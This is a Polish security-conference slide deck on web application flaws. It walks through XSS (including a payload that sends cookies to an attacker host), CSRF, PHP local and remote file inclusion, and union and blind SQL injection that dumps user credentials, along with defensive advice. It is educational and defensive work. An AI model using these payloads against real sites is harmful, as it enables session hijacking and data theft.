Drobne błędy w portalach WWW -- prawdziwe studium przypadku

98
Drobne błędy w portalach WWW prawdziwe studium przypadku ;-) Borys Łącki Michał Sobiegraj, CISSP

Transcript of Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Page 1: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Drobne błędy w portalach WWW

prawdziwe studium przypadku ;-)

Borys ŁąckiMichał Sobiegraj, CISSP

Page 2: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Czemu WWWjest ważne?

M

Page 3: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

WWW jest wszędzie

M

Page 4: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

M

Wydajemy pieniądze

Zarządzamy finansami

Zarabiamy pieniądze

Marnujemy czas

Page 5: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Ruch w Internecie

http://www.ellacoya.com/news/pdf/2007/NXTcommEllacoyaMediaAlert.pdf

M

Page 6: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

2007:ilośd ruchu WWW

przekroczyła ilośd ruchu P2P

M

Page 7: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

WWW pokonało pr0n! YAY!*

M

* nie poparte żadnymi badaniami

Page 8: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Typy ruchu HTTP

M

http://www.ellacoya.com/news/pdf/2007/NXTcommEllacoyaMediaAlert.pdf

Page 9: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

M

Wzrost ilości hostów w sieciPonad 60 mln aktywnych

(netcraft)

Page 10: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

BezpieczeostwoWWW

w skrócie

M

Page 11: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Odkryte podatności WWWprzewyższają ilościowo

wszystkie pozostałe(Sans)

M

Page 12: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

M

Bardzo popularne medium ($)

Niedojrzałośd technologii

Błędy logiczne

Chałupnicze rozwiązania

Czemu?

Page 13: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

3,6 miliona osób, które straciły łącznie 3,2 miliarda

dolarów(Gartner, http://www.heise-online.pl/news/item/2356/)

M

Amerykaoskie ofiary phishingu

Page 14: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Warstwa WWW

(filtry wejścia/wyjścia)

Warstwa Aplikacji

(logika biznesowa)

Serwer Baz Danych

Internet

Standardowa architektura aplikacji WWW

M

Page 15: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Warstwa WWW

(filtry wejścia/wyjścia)

Warstwa Aplikacji

(logika biznesowa)

Serwer Baz Danych

Internet

Nowafunkcjonalnośd

Źle!

M

Page 16: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Warstwa WWW

(filtry wejścia/wyjścia)

Warstwa Aplikacji

(logika biznesowa)

Serwer Baz Danych

Internet

Nowafunkcjonalnośd

Firewall Aplikacyjny

Firewall vs. właściwe projektowanie, kodowanie i SDLC

M

Page 17: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Warstwa WWW

(filtry wejścia/wyjścia)

Warstwa Aplikacji

(logika biznesowa)

Serwer Baz Danych

Internet

Nowafunkcjonalnośd

Firewall Aplikacyjny

Optymalnie

M

Page 18: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

M

PHP Remote File Include

SQL Injection

Cross-Site Scripting

Cross-site Request Forgery(SANS Top-20 2007 Security Risks, 2007 Annual Update)

Najczęstsze ataki

Page 19: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Wyciek informacji

B

Page 20: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

B

Wesoła historyjka ;-)

Page 21: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Więcej obrazków hmm…B

Page 22: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

B

Page 23: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

B

:-D

Page 24: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

B

Kopiujemy…

Page 25: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

B

Łączymy się…

Page 26: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

B

PWND ;-)

Page 27: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Bezpieczeostwo wymaga specyficznego sposobu

myślenia

(Paranoi? ;-)

B

Wniosek?

Page 28: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

B

Ograniczenie dostępu po stronie klientaMożliwośd obejścia interfejsuW kontraście z bankomatem

Nieskuteczne!

Page 29: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Ograniczenie dostępu po stronie klienta

RSS z identyfikacją ID klienta

serwer.tld/rss/100_rss.xml

serwer.tld/rss/101_rss.xml

serwer.tld/rss/102_rss.xml

Czytanie cudzych wiadomościserwer.tld/index.php?p=ok&action=msgs2&msgs_id=80

serwer.tld/index.php?p=ok&action=msgs2&msgs_id=81

serwer.tld/index.php?p=ok&action=msgs2&msgs_id=82

B

Page 30: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Kontrola dostępu po stronie serwera

B

Page 31: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Cross-SiteScripting

(XSS)

B

Page 32: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Serwer

Aplikacja WWW

IntruzUżytkownik

http://serwer/index.php?id=<script>…</script>

GET /index.php?id=<script>…</script>HTTP/1.1

…<script>…</script>…exec(…)

Dane dostępne w kontekście użytkownika

Reflective XSS

B

Page 33: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Przykładowy kod XSS

B

document.write(‘<img src=„

http://intruz.tld/cookiemonster.gif?’+escape(document.cookie) +’ ”> ’);

Page 34: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Zmiana treści za pomocą XSS

M

Page 35: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Zmiana treści za pomocą XSS

B

Page 36: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

M

http://strona.tld/topics/%3Cscript%3Eeval(String.fromCharCode(100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,34,108,111,103,111,34,41,46,105,110,110,101,114,72,84,77,76,61,34,60,105,109,103,32,115,114,99,61,39,104,116,116,112,58,47,47,119,119,119,46,101,122,111,116,101,114,105,107,97,46,112,108,47,105,109,97,103,101,115,47,115,109,105,108,101,121,46,103,105,102,39,62,34));%3C%252fscript%3E

document.getElementById("logo").innerHTML="<img src='http://www.str.tld/images/smiley.gif'>"

Rebranding za pomocą XSS

Page 37: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

M

...<div id="maincontent"><h2>Results for: <span style="color: #f00;"><script>eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,34,108,111,103,111,34,41,46,105,110,110,101,114,72,84,77,76,61,34,60,105,109,103,32,115,114,99,61,39,104,116,116,112,58,47,47,119,119,119,46,101,122,111,116,101,114,105,107,97,46,112,108,47,105,109,97,103,101,115,47,115,109,105,108,101,121,46,103,105,102,39,62,34));</script></span></h2></div>...

Tak to wygląda w kodzie strony

Page 38: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

M

<div id="logo"> <div class="logolink"><a href="http://strona.tld/">strona.tld</a></div> ...

</div>

Tak wygląda zmieniany kod

Page 39: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

M

Kod w przeglądarce

Page 40: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Efekt działania

M

Page 41: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

A wygląda to tak

M

Page 42: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Zmiana treści za pomocą XSS

B

Nie jest permanentna Lepszy kod łatwiej (sic!)

Pomysł:

Tak samo wyglądający formularz kierujący dane w inne miejsce phishing

Page 43: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Uwierzytelnianie przy pomocy cookies

Serwer

Użytkownik

POST /login.php HTTP/1.1login=user&password=asd12ed]r3

GET /index.php HTTP/1.1Cookie: user_id=734223s8uod42

HTTP/1.1 OK 200Set-cookie: user_id=734223s8uod42Witaj user

Witaj user

B

Page 44: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Wykorzystanie przejętego cookie

Serwer

Użytkownik

POST /login.php HTTP/1.1login=user&password=asd12ed]r3

GET /index.php HTTP/1.1Cookie: user_id=734223s8uod42

HTTP/1.1 OK 200Set-cookie: user_id=734223s8uod42Witaj user

Witaj user

Intruz

GET /index.php HTTP/1.1Cookie: user_id=734223s8uod42

Witaj user

B

Page 45: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Kradzież ciastka zawierającego ID sesji

M

http://www.serwer.tld/index.php?p=comments&comments_login=smietanka%3Cscript%3Edocument.write(document.cookie)%3C/script%3E

PHPSESSID=gji9h519llgbgbnaqg7si0q1l0; __utma=258102041.949163972.1198624259.1198624259.1198624259.1; __utmb=258102041; __utmc=258102041; __utmz=258102041.1198624259.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)

Page 46: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

M

Page 47: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

M

Page 48: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

M

Page 49: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Jak wysład sobie ciastko?

B

XMLHttpRequestProblem pomiędzy domenami

Linkimg, iframe, location.href, etc

Przykład: <imgsrc="http://serwer.tld/cookiemonster.gif?PHPSESSID%3Dgji9h519llgbgbnaqg7si0q1l0%3B%20__utma%3D258102041.949163972.1198624259.1198624259.1198624259.1%3B%20__utmb%3D258102041%3B%20__utmc%3D258102041%3B%20__utmz%3D258102041.1198624259.1.1.utmccn%3D%28direct%29%7Cutmcsr%3D%28direct%29%7Cutmcmd%3D%28none%29">

Page 50: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Co na to poradzid?

B

Powiązad ID sesji z IP Żądad powtórnego uwierzytelnienia Kontrolowad wprowadzane dane !!!

- Białe listy (ScRipT)- Spójnośd (IDS, Firewall, aplikacja)- Dogłębnośd (....// ../), UTF-7

Page 51: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

http://serwer.tld/topics/<img src=http://www.serw.tld/images/smiley.gif>

M

/

Page 52: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

http://serwer.tld/topics/<img src=http:%2f%2fwww.ezoterika.pl%2fimages%2fsmiley.gif>

M

%2f /

Page 53: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

http://serwer.tld/topics/<img src=http:%252f%252fwww.serwer.tld%252fimages%252fsm

iley.gif>

M

%252f %2f /

Page 54: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

B

Page 55: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Serwer

Aplikacja WWW

Intruz

Użytkownik

POST /register.php HTTP/1.1login=<script>…</script>&password=asd

Baza danych

<script>…</script>GET /index.php HTTP/1.1

…<script>…</script>…exec(…)

Dane dostępne w kontekście użytkownika

Stored XSS

B

Page 56: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Co można zrobid?

B

Permanentna zmiana treści Łatwa kradzież ID sesji CSRF XSS Proxy Automatyczne robaki

- mySpace, Orkut, Nduja, BorysŁatwe ;] w serwisach pozwalających publikowad własną treśd:

- aukcyjne, blogi, fora, etc

Page 57: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

B

Kradzież ID sesji

Page 58: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Serwer WWW

User_1

Intruz

Zapisuje XSS w swoim profilu

XSS Worm

B

User_2

Intruz XSS

Page 59: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Serwer WWW

User_1

Intruz

User_1

Zapisuje XSS w swoim profilu

GET /intruz/ HTTP/1.1

…<script>…</script>…

XSS Worm

B

User_2

Intruz XSS

exec(…)Zapisuje XSS wswoim profilu

XSS

Page 60: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Serwer WWW

User_1

Intruz

User_1

Zapisuje XSS w swoim profilu

GET /intruz/ HTTP/1.1

…<script>…</script>…

XSS Worm

B

User_2

Intruz XSS

exec(…)

XSS

User_2

exec(…)

Zapisuje XSS wswoim profilu

GET /user1/ HTTP/1.1

…<script>…</script>…

Zapisuje XSS wswoim profiluXSS

Page 61: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Nduja – A Cross Domain/Webmail XSS Worm

B

Serwer WWW

WebMail

Libero.it

Serwer WWW

WebMail

Tiscali.it

Serwer WWW

WebMail

Lycos.it

Serwer WWW

WebMail

Excite.com

E-mail E-mail E-mail

Intruz

E-mail

Page 62: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Co na to poradzid?

B

Powiązad ID sesji z IP Żądad powtórnego uwierzytelnienia Kontrolowad wprowadzane dane

- Białe listy (ScRipT)- Spójnośd (IDS, Firewall, aplikacja)- Dogłębnośd (....// ../), UTF-7

Filtrowad dane zapisywane do bazyi odczytywane z bazy

Page 63: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Cross-SiteRequest Forgery

(CSRF)

B

Page 64: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Serwer

Aplikacja WWW

IntruzUżytkownik

http://serwer/delete.php?id=34

GET /delete.php?id=34 HTTP/1.1Cookie: user_id=734223s8uod42

…id = 34;delete(id);…

CSRF

M

Wpis usunięty

Page 65: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

<img src=„http://nasza-klasa.pl/invite/1?i=1”>

(/var/log/apache/cba_ipn_zus_access.log)

B

Page 66: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Przejęcie wiadomości z Gmail (CSRF)

http://www.gnucitizen.org/util/csrf?_method=POST&_enctype=multipart/form-data&_action=https%3A//mail.google.com/mail/h/ wt1jmuj4ddv/%3Fv%3Dprf&cf2_emc=true&[email protected]&cf1_from&cf1_to&cf1_subj&cf1_has&cf1_hasnot&cf1_attach=true&tfi&s=z&irf=on&nvp_bu_cftb=Create%20Filter

„Konto na Gmailu każdy z nas ma. Mam i ja!”

(Kradzież domeny: www.davidairey.co.uk)

B

Page 67: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

B

Co na to poradzid?

POST zamiast GET obejście: iframe, javascript

Referer problemy: proxy, przeglądarki, zmiana nagłówka

Generowane tymczasowego dodatkowego ID Powiązanie ID użytkownika z długim losowym ciągiem Trzymane po stronie serwera

Wymaganie ponownej autoryzacji przy kluczowych operacjach Brak błędów XSS (XmlHttpRequest)!!!

Page 68: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

PHP File Include

B

Page 69: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Local File Include

• podgląd plików (konfiguracyjnych!) • wykonanie kodu, jeśli jest możliwośd wgrania pliku na serwer• dostęp do kodu źródłowego

<?phpif(file_exists("includes/$page.inc")) {include "includes/$page.inc";

} else {echo "W budowie!<BR>";

}

http://XXXXX.art.pl/p.php?page=../../../../../../../../../home/user1/public_html/.htpasswd%00

B

Page 70: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Remote File Include

wykonanie kodu<?phpinclude($mosConfig_absolute_path."/administrator/components/com_hashcash/config.hashcash.php");require_once($mosConfig_absolute_path.'/components/com_hashcash/CryptoStrategy.php');

http://strona.tld/components/com_hashcash/server.php?mosConfig_absolute_path=http://zuozuozuo.pl/evil.txt?

access_log:62.48.xxx.xx - - [06/Jan/2008:07:11:06 +0100] "GET//install/index.php?G_PATH=http://www.js2023.pl//modules/PNphpBB2/images/.bash/pr.txt? HTTP/1.1"404 1021 "-" "libwww-perl/5.803„

access_log:168.212.xxx.xxx - - [06/Jan/2008:22:57:53 +0100] "GET/files/strawberry/plugins/wacko/highlight/html.php?text=http://www.nakedarena.com/id.txt?HTTP/1.1" 404 1021 "-" "libwww-perl/5.76"

B

Page 71: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Co z tym zrobid? konfiguracja po stronie php.ini

allow_url_fopen = Off

allow_url_include = Off

register_global = Off

safe_mode = On

register_globals = Off

safe_mode_gid = Off

display_errors = Off

log_errors = On

error_log = /var/log/httpd/php_error.log

disable_functions = system, shell_exec, exec, passthru

uważad na specjalne znaki (null byte, etc)

filtrowad, filtrowad i jeszcze raz filtrowad (../, UTF, itd.)

inne: mod_security, Suhosin PHP

B

Page 72: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

SQL Injection

M

Page 73: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Serwer

Aplikacja WWW

Intruz

GET /login.php HTTP/1.1login=admin&password=1’ or 1=‘1

Baza danych

select * from users where login=‘admin’ and pass=‘1’ or 1=‘1’

Welcome admin

SQL Injection

$dane = db_exec(„select from users wherelogin=‘$login’ and pass=‘$pass’”)if ($dane.count) {

print („Welcome $login”)…

} else {print („Bye”);exit (0);

}M

Page 74: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

POST http://www.serwer.tld/index.php?p=priv HTTP/1.1priv_search=2e332424&cat='"1&w_city="'asd&submit=Szukaj

M

Page 75: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

priv_search=&cat=1&w_city=Ca%B3a+Polska' and 1=1#&submit=Szukaj

M

Page 76: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

priv_search=&cat=1&w_city=Ca%B3a+Polska' and 1=0#&submit=Szukaj

M

Page 77: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select @@version#&submit=Szukaj

M

The used SELECT statementshave a different number

of columns

Page 78: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,@@version#&submit=Szukaj

M

Page 79: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select 1,2,3,4,5,6,7,8,9,10,@@version,12,13,14,15,16,17,18#&submit=Szukaj

M

Page 80: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select 1,2,3,TABLE_SCHEMA,5,6,7,8,9,10,TABLE_NAME,12,COLUMN_NAME,14,15,16,17,18 from information_schema.columnswhere TABLE_SCHEMA != 'mysql' and TABLE_SCHEMA != 'information_schema'#&submit=Szukaj

M

Page 81: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select 1,2,3,login,5,6,7,8,9,10,pass,12,sex,14,15,16,17,18 from users#&submit=Szukaj

M

Page 82: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Przy okazji wychodzą na jaw TAJEMNICE ;-)

M

Page 83: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Bonusowe odkrycie:

1836 botów :-)

M

Page 84: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

B

Blind SQL Injection

Formularz rejestracyjny:

Page 85: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Blind SQL Injection

B

1' and 1='0 OK.

1' or 1='1 Taki email już jest zarejestrowany

w serwisie. Musisz podad inny 1' union all SELECT IF( user() like '%sig%',

BENCHMARK(3000000,MD5( 'x' )),NULL)# opóźnienie user() == sig@...

1' union all SELECT IF( user() like '%asd%',BENCHMARK(3000000,MD5( 'x' )),NULL)# brak opóźnienia

Page 86: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

B

Page 87: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

B

Page 88: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

• /zgoda.php?id=155765%20AND%20(select%20ascii(substring((select%20login%20from%20admini%20limit%201,1),1,1)))%3D97

• id=155765 AND (select ascii(substring((select login from admini limit LINIA,1), MIEJSCE, 1))) =ZNAK_ASCII

Blind SQL Injection

B

Page 89: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Wyniki blind SQL Injection

B

Opóźnienie Treśd Komunikat błędu

Page 90: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Co na to poradzid?

M

Filtrowad wprowadzane dane- Białe listy znaków- Spójnośd (IDS, Firewall, aplikacja,

baza danych) Nie ufad filtrom po stronie

użytkownika (listy wyboru, JavaScript)

Page 91: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Podsumowanie

M

Page 92: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Błędy są wszędzie* wokół nas

*no prawie wszędzie ;-)

Z bezpieczeostwem WWW jest źle

M

Page 93: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Koniecznie filtrowad wprowadzane i wyprowadzane dane

Firewalle aplikacyjne IDSy

Białe listy!

Co zrobid?

M

Page 94: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Słuchad i pytad Korzystad z pomocy specjalistów Bilansowad koszty z zyskami

każdy feedback jest dobry

Byd świadomym potencjalnych zagrożeo i problemów

M

Page 95: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

• Odpowiedzią na tradycyjne błędy jest kod zarządzany, automatyczne typowanie, GC, itp.

• Odpowiedzią na błędy w kodowaniu WWW są frameworki– Pozwalają na zachowanie pewnej jakości kodu

– Nie jesteśmy w 100% bezpieczni» Jeszcze nie są wystarczająco dojrzałe

» Nie wszyscy wiedzą jak z nich korzystad

» Bywają rozszerzane "na głupa"

» Efekt skali powoduje, że błędy propagują się szeroko

Używad sprawdzonych rozwiązao

M

Page 96: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Poprawna konfiguracja jest niezwykle istotna

Jedna dyrektywa w php.ini może zablokowad wykorzystanie błędu w aplikacji

PHP:http://www.sans.org/top20/#s1

Hardening

M

Page 97: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Nikt ani nic nie ustrzeże nas przed skutkami błędów

logicznych

Myślenie

M

Page 98: Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Pytania?

[email protected]@logicaltrust.net